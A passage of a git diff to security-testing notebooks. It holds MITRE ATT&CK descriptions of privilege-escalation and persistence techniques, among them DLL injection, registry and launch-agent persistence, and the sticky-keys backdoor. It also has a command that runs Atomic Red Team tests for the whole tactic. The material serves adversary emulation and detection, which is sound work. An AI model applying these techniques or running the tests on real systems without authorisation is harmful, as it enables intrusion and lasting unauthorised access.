scripts to maintain persistence on a network. Depending on the access configuration of the logon scripts, either local credentials or an administrator account may be necessary.\nT1546.010 | AppInit DLLs | Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by AppInit DLLs loaded into processes. Dynamic-link libraries (DLLs) that are specified in the AppInit_DLLs value in the Registry keys HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows or HKEY_LOCAL_MACHINE\\Software\\Wow6432Node\\Microsoft\\Windows NT\\CurrentVersion\\Windows are loaded by user32.dll into every process that loads user32.dll. In practice this is nearly every program, since user32.dll is a very common library. (Citation: Elastic Process Injection July 2017)\n\nSimilar to Process Injection, these values can be abused to obtain elevated privileges by causing a malicious DLL to be loaded and run in the context of separate processes on the computer. (Citation: AppInit Registry) Malicious AppInit DLLs may also provide persistence by continuously being triggered by API activity. \n\nThe AppInit DLL functionality is disabled in Windows 8 and later versions when secure boot is enabled. (Citation: AppInit Secure Boot)\nT1546.002 | Screensaver | Adversaries may establish persistence by executing malicious content triggered by user inactivity. Screensavers are programs that execute after a configurable time of user inactivity and consist of Portable Executable (PE) files with a .scr file extension.(Citation: Wikipedia Screensaver) The Windows screensaver application scrnsave.scr is located in C:\\Windows\\System32\\, and C:\\Windows\\sysWOW64\\ on 64-bit Windows systems, along with screensavers included with base Windows installations.\n\nThe following screensaver settings are stored in the Registry (HKCU\\Control Panel\\Desktop\\) and could be manipulated to achieve persistence:\n\n* SCRNSAVE.exe - set to malicious PE path\n* ScreenSaveActive - set to '1' to enable the screensaver\n* ScreenSaverIsSecure - set to '0' to not require a password to unlock\n* ScreenSaveTimeout - sets user inactivity timeout before screensaver is executed\n\nAdversaries can use screensaver settings to maintain persistence by setting the screensaver to run malware after a certain timeframe of user inactivity.(Citation: ESET Gazer Aug 2017)\nT1543.001 | Launch Agent | Adversaries may create or modify launch agents to repeatedly execute malicious payloads as part of persistence. When a user logs in, a per-user launchd process is started which loads the parameters for each launch-on-demand user agent from the property list (.plist) file found in /System/Library/LaunchAgents, /Library/LaunchAgents, and ~/Library/LaunchAgents.(Citation: AppleDocs Launch Agent Daemons)(Citation: OSX Keydnap malware) (Citation: Antiquated Mac Malware) Property list files use the Label, ProgramArguments , and RunAtLoad keys to identify the Launch Agent's name, executable location, and execution time.(Citation: OSX.Dok Malware) Launch Agents are often installed to perform updates to programs, launch user specified programs at login, or to conduct other developer tasks.\n\n Launch Agents can also be executed using the [Launchctl](https://attack.mitre.org/techniques/T1569/001) command.\n \nAdversaries may install a new Launch Agent that executes at login by placing a .plist file into the appropriate folders with the RunAtLoad or KeepAlive keys set to true.(Citation: Sofacy Komplex Trojan)(Citation: Methods of Mac Malware Persistence) The Launch Agent name may be disguised by using a name from the related operating system or benign software. Launch Agents are created with user level privileges and execute with user level permissions.(Citation: OSX Malware Detection)(Citation: OceanLotus for OS X) \nT1055.009 | Proc Memory | Adversaries may inject malicious code into processes via the /proc filesystem in order to evade process-based defenses as well as possibly elevate privileges. Proc memory injection is a method of executing arbitrary code in the address space of a separate live process. \n\nProc memory injection involves enumerating the memory of a process via the /proc filesystem (/proc/[pid]) then crafting a return-oriented programming (ROP) payload with available gadgets/instructions. Each running process has its own directory, which includes memory mappings. Proc memory injection is commonly performed by overwriting the target processes\u2019 stack using memory mappings provided by the /proc filesystem. This information can be used to enumerate offsets (including the stack) and gadgets (or instructions within the program that can be used to build a malicious payload) otherwise hidden by process memory protections such as address space layout randomization (ASLR). Once enumerated, the target processes\u2019 memory map within /proc/[pid]/maps can be overwritten using dd.(Citation: Uninformed Needle)(Citation: GDS Linux Injection)(Citation: DD Man) \n\nOther techniques such as [Dynamic Linker Hijacking](https://attack.mitre.org/techniques/T1574/006) may be used to populate a target process with more available gadgets. Similar to [Process Hollowing](https://attack.mitre.org/techniques/T1055/012), proc memory injection may target child processes (such as a backgrounded copy of sleep).(Citation: GDS Linux Injection) \n\nRunning code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via proc memory injection may also evade detection from security products since the execution is masked under a legitimate process. \nT1546.016 | Installer Packages | Adversaries may establish persistence and elevate privileges by using an installer to trigger the execution of malicious content. Installer packages are OS specific and contain the resources an operating system needs to install applications on a system. Installer packages can include scripts that run prior to installation as well as after installation is complete. Installer scripts may inherit elevated permissions when executed. Developers often use these scripts to prepare the environment for installation, check requirements, download dependencies, and remove files after installation.(Citation: Installer Package Scripting Rich Trouton)\n\nUsing legitimate applications, adversaries have distributed applications with modified installer scripts to execute malicious content. When a user installs the application, they may be required to grant administrative permissions to allow the installation. At the end of the installation process of the legitimate application, content such as macOS `postinstall` scripts can be executed with the inherited elevated permissions. Adversaries can use these scripts to execute a malicious executable or install other malicious components (such as a [Launch Daemon](https://attack.mitre.org/techniques/T1543/004)) with the elevated permissions.(Citation: Application Bundle Manipulation Brandon Dalton)(Citation: wardle evilquest parti)\n\nDepending on the distribution, Linux versions of package installer scripts are sometimes called maintainer scripts or post installation scripts. These scripts can include `preinst`, `postinst`, `prerm`, `postrm` scripts and run as root when executed.\n\nFor Windows, the Microsoft Installer services uses `.msi` files to manage the installing, updating, and uninstalling of applications. Adversaries have leveraged `Prebuild` and `Postbuild` events to run commands before or after a build when installing .msi files.(Citation: Windows AppleJeus GReAT)(Citation: Debian Manual Maintainer Scripts)\nT1037.004 | RC Scripts | Adversaries may establish persistence by modifying RC scripts which are executed during a Unix-like system\u2019s startup. These files allow system administrators to map and start custom services at startup for different run levels. RC scripts require root privileges to modify.\n\nAdversaries can establish persistence by adding a malicious binary path or shell commands to rc.local, rc.common, and other RC scripts specific to the Unix-like distribution.(Citation: IranThreats Kittens Dec 2017)(Citation: Intezer HiddenWasp Map 2019) Upon reboot, the system executes the script's contents as root, resulting in persistence.\n\nAdversary abuse of RC scripts is especially effective for lightweight Unix-like distributions using the root user as default, such as IoT or embedded systems.(Citation: intezer-kaiji-malware)\n\nSeveral Unix-like systems have moved to Systemd and deprecated the use of RC scripts. This is now a deprecated mechanism in macOS in favor of [Launchd](https://attack.mitre.org/techniques/T1053/004). (Citation: Apple Developer Doco Archive Launchd)(Citation: Startup Items) This technique can be used on Mac OS X Panther v10.3 and earlier versions which still execute the RC scripts.(Citation: Methods of Mac Malware Persistence) To maintain backwards compatibility some systems, such as Ubuntu, will execute the RC scripts if they exist with the correct file permissions.(Citation: Ubuntu Manpage systemd rc)\nT1134 | Access Token Manipulation | Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.\n\nAn adversary can use built-in Windows API functions to copy access tokens from existing processes; this is known as token stealing. These token can then be applied to an existing process (i.e. [Token Impersonation/Theft](https://attack.mitre.org/techniques/T1134/001)) or used to spawn a new process (i.e. [Create Process with Token](https://attack.mitre.org/techniques/T1134/002)). An adversary must already be in a privileged user context (i.e. administrator) to steal a token. However, adversaries commonly use token stealing to elevate their security context from the administrator level to the SYSTEM level. An adversary can then use a token to authenticate to a remote system as the account for that token if the account has appropriate permissions on the remote system.(Citation: Pentestlab Token Manipulation)\n\nAny standard user can use the runas command, and the Windows API functions, to create impersonation tokens; it does not require access to an administrator account. There are also other mechanisms, such as Active Directory fields, that can be used to modify access tokens.\nT1543.002 | Systemd Service | Adversaries may create or modify systemd services to repeatedly execute malicious payloads as part of persistence. Systemd is a system and service manager commonly used for managing background daemon processes (also known as services) and other system resources.(Citation: Linux man-pages: systemd January 2014) Systemd is the default initialization (init) system on many Linux distributions replacing legacy init systems, including SysVinit and Upstart, while remaining backwards compatible. \n\nSystemd utilizes unit configuration files with the `.service` file extension to encode information about a service's process. By default, system level unit files are stored in the `/systemd/system` directory of the root owned directories (`/`). User level unit files are stored in the `/systemd/user` directories of the user owned directories (`$HOME`).(Citation: lambert systemd 2022) \n\nInside the `.service` unit files, the following directives are used to execute commands:(Citation: freedesktop systemd.service) \n\n* `ExecStart`, `ExecStartPre`, and `ExecStartPost` directives execute when a service is started manually by `systemctl` or on system start if the service is set to automatically start.\n* `ExecReload` directive executes when a service restarts. \n* `ExecStop`, `ExecStopPre`, and `ExecStopPost` directives execute when a service is stopped. \n\nAdversaries have created new service files, altered the commands a `.service` file\u2019s directive executes, and modified the user directive a `.service` file executes as, which could result in privilege escalation. Adversaries may also place symbolic links in these directories, enabling systemd to find these payloads regardless of where they reside on the filesystem.(Citation: Anomali Rocke March 2019)(Citation: airwalk backdoor unix systems)(Citation: Rapid7 Service Persistence 22JUNE2016) \nT1547.013 | XDG Autostart Entries | Adversaries may add or modify XDG Autostart Entries to execute malicious programs or commands when a user\u2019s desktop environment is loaded at login. XDG Autostart entries are available for any XDG-compliant Linux system. XDG Autostart entries use Desktop Entry files (`.desktop`) to configure the user\u2019s desktop environment upon user login. These configuration files determine what applications launch upon user login, define associated applications to open specific file types, and define applications used to open removable media.(Citation: Free Desktop Application Autostart Feb 2006)(Citation: Free Desktop Entry Keys)\n\nAdversaries may abuse this feature to establish persistence by adding a path to a malicious binary or command to the `Exec` directive in the `.desktop` configuration file. When the user\u2019s desktop environment is loaded at user login, the `.desktop` files located in the XDG Autostart directories are automatically executed. System-wide Autostart entries are located in the `/etc/xdg/autostart` directory while the user entries are located in the `~/.config/autostart` directory.\n\nAdversaries may combine this technique with [Masquerading](https://attack.mitre.org/techniques/T1036) to blend malicious Autostart entries with legitimate programs.(Citation: Red Canary Netwire Linux 2022)\nT1055.005 | Thread Local Storage | Adversaries may inject malicious code into processes via thread local storage (TLS) callbacks in order to evade process-based defenses as well as possibly elevate privileges. TLS callback injection is a method of executing arbitrary code in the address space of a separate live process. \n\nTLS callback injection involves manipulating pointers inside a portable executable (PE) to redirect a process to malicious code before reaching the code's legitimate entry point. TLS callbacks are normally used by the OS to setup and/or cleanup data used by threads. Manipulating TLS callbacks may be performed by allocating and writing to specific offsets within a process\u2019 memory space using other [Process Injection](https://attack.mitre.org/techniques/T1055) techniques such as [Process Hollowing](https://attack.mitre.org/techniques/T1055/012).(Citation: FireEye TLS Nov 2017)\n\nRunning code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via TLS callback injection may also evade detection from security products since the execution is masked under a legitimate process. \nT1547.007 | Re-opened Applications | Adversaries may modify plist files to automatically run an application when a user logs in. When a user logs out or restarts via the macOS Graphical User Interface (GUI), a prompt is provided to the user with a checkbox to \"Reopen windows when logging back in\".(Citation: Re-Open windows on Mac) When selected, all applications currently open are added to a property list file named com.apple.loginwindow.[UUID].plist within the ~/Library/Preferences/ByHost directory.(Citation: Methods of Mac Malware Persistence)(Citation: Wardle Persistence Chapter) Applications listed in this file are automatically reopened upon the user\u2019s next logon.\n\nAdversaries can establish [Persistence](https://attack.mitre.org/tactics/TA0003) by adding a malicious application path to the com.apple.loginwindow.[UUID].plist file to execute payloads when a user logs in.\nT1574.002 | DLL Side-Loading | Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to [DLL Search Order Hijacking](https://attack.mitre.org/techniques/T1574/001), side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).\n\nSide-loading takes advantage of the DLL search order used by the loader by positioning both the victim application and malicious payload(s) alongside each other. Adversaries likely use side-loading as a means of masking actions they perform under a legitimate, trusted, and potentially elevated system or software process. Benign executables used to side-load payloads may not be flagged during delivery and/or execution. Adversary payloads may also be encrypted/packed or otherwise obfuscated until loaded into the memory of the trusted process.(Citation: FireEye DLL Side-Loading)\nT1098.002 | Additional Email Delegate Permissions | Adversaries may grant additional permission levels to maintain persistent access to an adversary-controlled email account. \n\nFor example, the Add-MailboxPermission [PowerShell](https://attack.mitre.org/techniques/T1059/001) cmdlet, available in on-premises Exchange and in the cloud-based service Office 365, adds permissions to a mailbox.(Citation: Microsoft - Add-MailboxPermission)(Citation: FireEye APT35 2018)(Citation: Crowdstrike Hiding in Plain Sight 2018) In Google Workspace, delegation can be enabled via the Google Admin console and users can delegate accounts via their Gmail settings.(Citation: Gmail Delegation)(Citation: Google Ensuring Your Information is Safe) \n\nAdversaries may also assign mailbox folder permissions through individual folder permissions or roles. In Office 365 environments, adversaries may assign the Default or Anonymous user permissions or roles to the Top of Information Store (root), Inbox, or other mailbox folders. By assigning one or both user permissions to a folder, the adversary can utilize any other account in the tenant to maintain persistence to the target user\u2019s mail folders.(Citation: Remediation and Hardening Strategies for Microsoft 365 to Defend Against UNC2452)\n\nThis may be used in persistent threat incidents as well as BEC (Business Email Compromise) incidents where an adversary can add [Additional Cloud Roles](https://attack.mitre.org/techniques/T1098/003) to the accounts they wish to compromise. This may further enable use of additional techniques for gaining access to systems. For example, compromised business accounts are often used to send messages to other accounts in the network of the target business while creating inbox rules (ex: [Internal Spearphishing](https://attack.mitre.org/techniques/T1534)), so the messages evade spam/phishing detection mechanisms.(Citation: Bienstock, D. - Defending O365 - 2019)\nT1055.008 | Ptrace System Calls | Adversaries may inject malicious code into processes via ptrace (process trace) system calls in order to evade process-based defenses as well as possibly elevate privileges. Ptrace system call injection is a method of executing arbitrary code in the address space of a separate live process. \n\nPtrace system call injection involves attaching to and modifying a running process. The ptrace system call enables a debugging process to observe and control another process (and each individual thread), including changing memory and register values.(Citation: PTRACE man) Ptrace system call injection is commonly performed by writing arbitrary code into a running process (ex: malloc) then invoking that memory with PTRACE_SETREGS to set the register containing the next instruction to execute. Ptrace system call injection can also be done with PTRACE_POKETEXT/PTRACE_POKEDATA, which copy data to a specific address in the target processes\u2019 memory (ex: the current address of the next instruction). (Citation: PTRACE man)(Citation: Medium Ptrace JUL 2018) \n\nPtrace system call injection may not be possible targeting processes that are non-child processes and/or have higher-privileges.(Citation: BH Linux Inject) \n\nRunning code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via ptrace system call injection may also evade detection from security products since the execution is masked under a legitimate process. \nT1037.001 | Logon Script (Windows) | Adversaries may use Windows logon scripts automatically executed at logon initialization to establish persistence. Windows allows logon scripts to be run whenever a specific user or group of users log into a system.(Citation: TechNet Logon Scripts) This is done via adding a path to a script to the HKCU\\Environment\\UserInitMprLogonScript Registry key.(Citation: Hexacorn Logon Scripts)\n\nAdversaries may use these scripts to maintain persistence on a single system. Depending on the access configuration of the logon scripts, either local credentials or an administrator account may be necessary. \nT1055.015 | ListPlanting | Adversaries may abuse list-view controls to inject malicious code into hijacked processes in order to evade process-based defenses as well as possibly elevate privileges. ListPlanting is a method of executing arbitrary code in the address space of a separate live process. Code executed via ListPlanting may also evade detection from security products since the execution is masked under a legitimate process.\n\nList-view controls are user interface windows used to display collections of items.(Citation: Microsoft List View Controls) Information about an application's list-view settings are stored within the process' memory in a SysListView32 control.\n\nListPlanting (a form of message-passing \"shatter attack\") may be performed by copying code into the virtual address space of a process that uses a list-view control then using that code as a custom callback for sorting the listed items.(Citation: Modexp Windows Process Injection) Adversaries must first copy code into the target process\u2019 memory space, which can be performed various ways including by directly obtaining a handle to the SysListView32 child of the victim process window (via Windows API calls such as FindWindow and/or EnumWindows) or other [Process Injection](https://attack.mitre.org/techniques/T1055) methods.\n\nSome variations of ListPlanting may allocate memory in the target process but then use window messages to copy the payload, to avoid the use of the highly monitored WriteProcessMemory function. For example, an adversary can use the PostMessage and/or SendMessage API functions to send LVM_SETITEMPOSITION and LVM_GETITEMPOSITION messages, effectively copying a payload 2 bytes at a time to the allocated memory.(Citation: ESET InvisiMole June 2020) \n\nFinally, the payload is triggered by sending the LVM_SORTITEMS message to the SysListView32 child of the process window, with the payload within the newly allocated buffer passed and executed as the ListView_SortItems callback.\nT1484 | Domain Policy Modification | Adversaries may modify the configuration settings of a domain to evade defenses and/or escalate privileges in domain environments. Domains provide a centralized means of managing how computer resources (ex: computers, user accounts) can act, and interact with each other, on a network. The policy of the domain also includes configuration settings that may apply between domains in a multi-domain/forest environment. Modifications to domain settings may include altering domain Group Policy Objects (GPOs) or changing trust settings for domains, including federation trusts.\n\nWith sufficient permissions, adversaries can modify domain policy settings. Since domain configuration settings control many of the interactions within the Active Directory (AD) environment, there are a great number of potential attacks that can stem from this abuse. Examples of such abuse include modifying GPOs to push a malicious [Scheduled Task](https://attack.mitre.org/techniques/T1053/005) to computers throughout the domain environment(Citation: ADSecurity GPO Persistence 2016)(Citation: Wald0 Guide to GPOs)(Citation: Harmj0y Abusing GPO Permissions) or modifying domain trusts to include an adversary controlled domain where they can control access tokens that will subsequently be accepted by victim domain resources.(Citation: Microsoft - Customer Guidance on Recent Nation-State Cyber Attacks) Adversaries can also change configuration settings within the AD environment to implement a [Rogue Domain Controller](https://attack.mitre.org/techniques/T1207).\n\nAdversaries may temporarily modify domain policy, carry out a malicious action(s), and then revert the change to remove suspicious indicators.\nT1547.008 | LSASS Driver | Adversaries may modify or add LSASS drivers to obtain persistence on compromised systems. The Windows security subsystem is a set of components that manage and enforce the security policy for a computer or domain. The Local Security Authority (LSA) is the main component responsible for local security policy and user authentication. The LSA includes multiple dynamic link libraries (DLLs) associated with various other security functions, all of which run in the context of the LSA Subsystem Service (LSASS) lsass.exe process.(Citation: Microsoft Security Subsystem)\n\nAdversaries may target LSASS drivers to obtain persistence. By either replacing or adding illegitimate drivers (e.g., [Hijack Execution Flow](https://attack.mitre.org/techniques/T1574)), an adversary can use LSA operations to continuously execute malicious payloads.\nT1078.004 | Cloud Accounts | Valid accounts in cloud environments may allow adversaries to perform actions to achieve Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Cloud accounts are those created and configured by an organization for use by users, remote support, services, or for administration of resources within a cloud service provider or SaaS application. Cloud Accounts can exist solely in the cloud or be hybrid joined between on-premises systems and the cloud through federation with other identity sources such as Windows Active Directory. (Citation: AWS Identity Federation)(Citation: Google Federating GC)(Citation: Microsoft Deploying AD Federation)\n\nService or user accounts may be targeted by adversaries through [Brute Force](https://attack.mitre.org/techniques/T1110), [Phishing](https://attack.mitre.org/techniques/T1566), or various other means to gain access to the environment. Federated accounts may be a pathway for the adversary to affect both on-premises systems and cloud environments.\n\nAn adversary may create long lasting [Additional Cloud Credentials](https://attack.mitre.org/techniques/T1098/001) on a compromised cloud account to maintain persistence in the environment. Such credentials may also be used to bypass security controls such as multi-factor authentication. \n\nCloud accounts may also be able to assume [Temporary Elevated Cloud Access](https://attack.mitre.org/techniques/T1548/005) or other privileges through various means within the environment. Misconfigurations in role assignments or role assumption policies may allow an adversary to use these mechanisms to leverage permissions outside the intended scope of the account. Such over privileged accounts may be used to harvest sensitive data from online storage accounts and databases through [Cloud API](https://attack.mitre.org/techniques/T1059/009) or other methods. \n\nT1053.002 | At | Adversaries may abuse the [at](https://attack.mitre.org/software/S0110) utility to perform task scheduling for initial or recurring execution of malicious code. The [at](https://attack.mitre.org/software/S0110) utility exists as an executable within Windows, Linux, and macOS for scheduling tasks at a specified time and date. Although deprecated in favor of [Scheduled Task](https://attack.mitre.org/techniques/T1053/005)'s [schtasks](https://attack.mitre.org/software/S0111) in Windows environments, using [at](https://attack.mitre.org/software/S0110) requires that the Task Scheduler service be running, and the user to be logged on as a member of the local Administrators group.\n\nOn Linux and macOS, [at](https://attack.mitre.org/software/S0110) may be invoked by the superuser as well as any users added to the at.allow file. If the at.allow file does not exist, the at.deny file is checked. Every username not listed in at.deny is allowed to invoke [at](https://attack.mitre.org/software/S0110). If the at.deny exists and is empty, global use of [at](https://attack.mitre.org/software/S0110) is permitted. If neither file exists (which is often the baseline) only the superuser is allowed to use [at](https://attack.mitre.org/software/S0110).(Citation: Linux at)\n\nAdversaries may use [at](https://attack.mitre.org/software/S0110) to execute programs at system startup or on a scheduled basis for [Persistence](https://attack.mitre.org/tactics/TA0003). [at](https://attack.mitre.org/software/S0110) can also be abused to conduct remote [Execution](https://attack.mitre.org/tactics/TA0002) as part of [Lateral Movement](https://attack.mitre.org/tactics/TA0008) and/or to run a process under the context of a specified account (such as SYSTEM).\n\nIn Linux environments, adversaries may also abuse [at](https://attack.mitre.org/software/S0110) to break out of restricted environments by using a task to spawn an interactive system shell or to run system commands. Similarly, [at](https://attack.mitre.org/software/S0110) may also be used for [Privilege Escalation](https://attack.mitre.org/tactics/TA0004) if the binary is allowed to run as superuser via sudo.(Citation: GTFObins at)\nT1055.001 | Dynamic-link Library Injection | Adversaries may inject dynamic-link libraries (DLLs) into processes in order to evade process-based defenses as well as possibly elevate privileges. DLL injection is a method of executing arbitrary code in the address space of a separate live process. \n\nDLL injection is commonly performed by writing the path to a DLL in the virtual address space of the target process before loading the DLL by invoking a new thread. The write can be performed with native Windows API calls such as VirtualAllocEx and WriteProcessMemory, then invoked with CreateRemoteThread (which calls the LoadLibrary API responsible for loading the DLL). (Citation: Elastic Process Injection July 2017) \n\nVariations of this method such as reflective DLL injection (writing a self-mapping DLL into a process) and memory module (map DLL when writing into process) overcome the address relocation issue as well as the additional APIs to invoke execution (since these methods load and execute the files in memory by manually preforming the function of LoadLibrary).(Citation: Elastic HuntingNMemory June 2017)(Citation: Elastic Process Injection July 2017) \n\nAnother variation of this method, often referred to as Module Stomping/Overloading or DLL Hollowing, may be leveraged to conceal injected code within a process. This method involves loading a legitimate DLL into a remote process then manually overwriting the module's AddressOfEntryPoint before starting a new thread in the target process.(Citation: Module Stomping for Shellcode Injection) This variation allows attackers to hide malicious injected code by potentially backing its execution with a legitimate DLL file on disk.(Citation: Hiding Malicious Code with Module Stomping) \n\nRunning code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via DLL injection may also evade detection from security products since the execution is masked under a legitimate process. \nT1546.007 | Netsh Helper DLL | Adversaries may establish persistence by executing malicious content triggered by Netsh Helper DLLs. Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system. It contains functionality to add helper DLLs for extending functionality of the utility.(Citation: TechNet Netsh) The paths to registered netsh.exe helper DLLs are entered into the Windows Registry at HKLM\\SOFTWARE\\Microsoft\\Netsh.\n\nAdversaries can use netsh.exe helper DLLs to trigger execution of arbitrary code in a persistent manner. This execution would take place anytime netsh.exe is executed, which could happen automatically, with another persistence technique, or if other software (ex: VPN) is present on the system that executes netsh.exe as part of its normal functionality.(Citation: Github Netsh Helper CS Beacon)(Citation: Demaske Netsh Persistence)\nT1574.004 | Dylib Hijacking | Adversaries may execute their own payloads by placing a malicious dynamic library (dylib) with an expected name in a path a victim application searches at runtime. The dynamic loader will try to find the dylibs based on the sequential order of the search paths. Paths to dylibs may be prefixed with @rpath, which allows developers to use relative paths to specify an array of search paths used at runtime based on the location of the executable. Additionally, if weak linking is used, such as the LC_LOAD_WEAK_DYLIB function, an application will still execute even if an expected dylib is not present. Weak linking enables developers to run an application on multiple macOS versions as new APIs are added.\n\nAdversaries may gain execution by inserting malicious dylibs with the name of the missing dylib in the identified path.(Citation: Wardle Dylib Hijack Vulnerable Apps)(Citation: Wardle Dylib Hijacking OSX 2015)(Citation: Github EmpireProject HijackScanner)(Citation: Github EmpireProject CreateHijacker Dylib) Dylibs are loaded into an application's address space allowing the malicious dylib to inherit the application's privilege level and resources. Based on the application, this could result in privilege escalation and uninhibited network access. This method may also evade detection from security products since the execution is masked under a legitimate process.(Citation: Writing Bad Malware for OSX)(Citation: wardle artofmalware volume1)(Citation: MalwareUnicorn macOS Dylib Injection MachO)\nT1078.003 | Local Accounts | Adversaries may obtain and abuse credentials of a local account as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Local accounts are those configured by an organization for use by users, remote support, services, or for administration on a single system or service.\n\nLocal Accounts may also be abused to elevate privileges and harvest credentials through [OS Credential Dumping](https://attack.mitre.org/techniques/T1003). Password reuse may allow the abuse of local accounts across a set of machines on a network for the purposes of Privilege Escalation and Lateral Movement. \nT1574.012 | COR_PROFILER | Adversaries may leverage the COR_PROFILER environment variable to hijack the execution flow of programs that load the .NET CLR. The COR_PROFILER is a .NET Framework feature which allows developers to specify an unmanaged (or external of .NET) profiling DLL to be loaded into each .NET process that loads the Common Language Runtime (CLR). These profilers are designed to monitor, troubleshoot, and debug managed code executed by the .NET CLR.(Citation: Microsoft Profiling Mar 2017)(Citation: Microsoft COR_PROFILER Feb 2013)\n\nThe COR_PROFILER environment variable can be set at various scopes (system, user, or process) resulting in different levels of influence. System and user-wide environment variable scopes are specified in the Registry, where a [Component Object Model](https://attack.mitre.org/techniques/T1559/001) (COM) object can be registered as a profiler DLL. A process scope COR_PROFILER can also be created in-memory without modifying the Registry. Starting with .NET Framework 4, the profiling DLL does not need to be registered as long as the location of the DLL is specified in the COR_PROFILER_PATH environment variable.(Citation: Microsoft COR_PROFILER Feb 2013)\n\nAdversaries may abuse COR_PROFILER to establish persistence that executes a malicious DLL in the context of all .NET processes every time the CLR is invoked. The COR_PROFILER can also be used to elevate privileges (ex: [Bypass User Account Control](https://attack.mitre.org/techniques/T1548/002)) if the victim .NET process executes at a higher permission level, as well as to hook and [Impair Defenses](https://attack.mitre.org/techniques/T1562) provided by .NET processes.(Citation: RedCanary Mockingbird May 2020)(Citation: Red Canary COR_PROFILER May 2020)(Citation: Almond COR_PROFILER Apr 2019)(Citation: GitHub OmerYa Invisi-Shell)(Citation: subTee .NET Profilers May 2017)" }, { "cell_type": "code", "execution_count": null, - "id": "87a62730", + "id": "7c87f375", "metadata": {}, "outputs": [], "source": "#Invoke-AtomicTest-By can be downloaded from https://github.com/cyberbuff/ART-Utils/\nInvoke-AtomicTest-By -Tactic privilege-escalation" @@ -18,13 +18,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/privilege-escalation/T1013.ipynb b/playbook/tactics/privilege-escalation/T1013.ipynb deleted file mode 100644 index 636bfea5..00000000 --- a/playbook/tactics/privilege-escalation/T1013.ipynb +++ /dev/null @@ -1,38 +0,0 @@ -{ - "cells": [ - { - "cell_type": "markdown", - "id": "f91b4afa", - "metadata": {}, - "source": "# T1013 - Port Monitors\nA port monitor can be set through the (Citation: AddMonitor) API call to set a DLL to be loaded at startup. (Citation: AddMonitor) This DLL can be located in C:\\Windows\\System32 and will be loaded by the print spooler service, spoolsv.exe, on boot. The spoolsv.exe process also runs under SYSTEM level permissions. (Citation: Bloxham) Alternatively, an arbitrary DLL can be loaded if permissions allow writing a fully-qualified pathname for that DLL to HKLM\\SYSTEM\\CurrentControlSet\\Control\\Print\\Monitors. \n\nThe Registry key contains entries for the following:\n\n* Local Port\n* Standard TCP/IP Port\n* USB Monitor\n* WSD Port\n\nAdversaries can use this technique to load malicious code at startup that will persist on system reboot and execute as SYSTEM." - }, - { - "cell_type": "markdown", - "id": "16eaf8bd", - "metadata": {}, - "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." - }, - { - "cell_type": "markdown", - "id": "d85c44eb", - "metadata": {}, - "source": "## Detection\n* Monitor process API calls to (Citation: AddMonitor).\n* Monitor DLLs that are loaded by spoolsv.exe for DLLs that are abnormal.\n* New DLLs written to the System32 directory that do not correlate with known good software or patching may be suspicious.\n* Monitor Registry writes to HKLM\\SYSTEM\\CurrentControlSet\\Control\\Print\\Monitors.\n* Run the Autoruns utility, which checks for this Registry key as a persistence mechanism (Citation: TechNet Autoruns)" - } - ], - "metadata": { - "kernelspec": { - "display_name": ".NET (PowerShell)", - "language": "PowerShell", - "name": ".net-powershell" - }, - "language_info": { - "file_extension": ".ps1", - "mimetype": "text/x-powershell", - "name": "PowerShell", - "pygments_lexer": "powershell", - "version": "7.0" - } - }, - "nbformat": 4, - "nbformat_minor": 5 -} \ No newline at end of file diff --git a/playbook/tactics/privilege-escalation/T1015.ipynb b/playbook/tactics/privilege-escalation/T1015.ipynb deleted file mode 100644 index 6d6ea491..00000000 --- a/playbook/tactics/privilege-escalation/T1015.ipynb +++ /dev/null @@ -1,38 +0,0 @@ -{ - "cells": [ - { - "cell_type": "markdown", - "id": "0fa78e45", - "metadata": {}, - "source": "# T1015 - Accessibility Features\nWindows contains accessibility features that may be launched with a key combination before a user has logged in (for example, when the user is on the Windows logon screen). An adversary can modify the way these programs are launched to get a command prompt or backdoor without logging in to the system.\n\nTwo common accessibility programs are C:\\Windows\\System32\\sethc.exe, launched when the shift key is pressed five times and C:\\Windows\\System32\\utilman.exe, launched when the Windows + U key combination is pressed. The sethc.exe program is often referred to as \"sticky keys\", and has been used by adversaries for unauthenticated access through a remote desktop login screen. (Citation: FireEye Hikit Rootkit)\n\nDepending on the version of Windows, an adversary may take advantage of these features in different ways because of code integrity enhancements. In newer versions of Windows, the replaced binary needs to be digitally signed for x64 systems, the binary must reside in %systemdir%\\, and it must be protected by Windows File or Resource Protection (WFP/WRP). (Citation: DEFCON2016 Sticky Keys) The debugger method was likely discovered as a potential workaround because it does not require the corresponding accessibility feature binary to be replaced. Examples for both methods:\n\nFor simple binary replacement on Windows XP and later as well as and Windows Server 2003/R2 and later, for example, the program (e.g., C:\\Windows\\System32\\utilman.exe) may be replaced with \"cmd.exe\" (or another program that provides backdoor access). Subsequently, pressing the appropriate key combination at the login screen while sitting at the keyboard or when connected over [Remote Desktop Protocol](https://attack.mitre.org/techniques/T1076) will cause the replaced file to be executed with SYSTEM privileges. (Citation: Tilbury 2014)\n\nFor the debugger method on Windows Vista and later as well as Windows Server 2008 and later, for example, a Registry key may be modified that configures \"cmd.exe,\" or another program that provides backdoor access, as a \"debugger\" for the accessibility program (e.g., \"utilman.exe\"). After the Registry is modified, pressing the appropriate key combination at the login screen while at the keyboard or when connected with RDP will cause the \"debugger\" program to be executed with 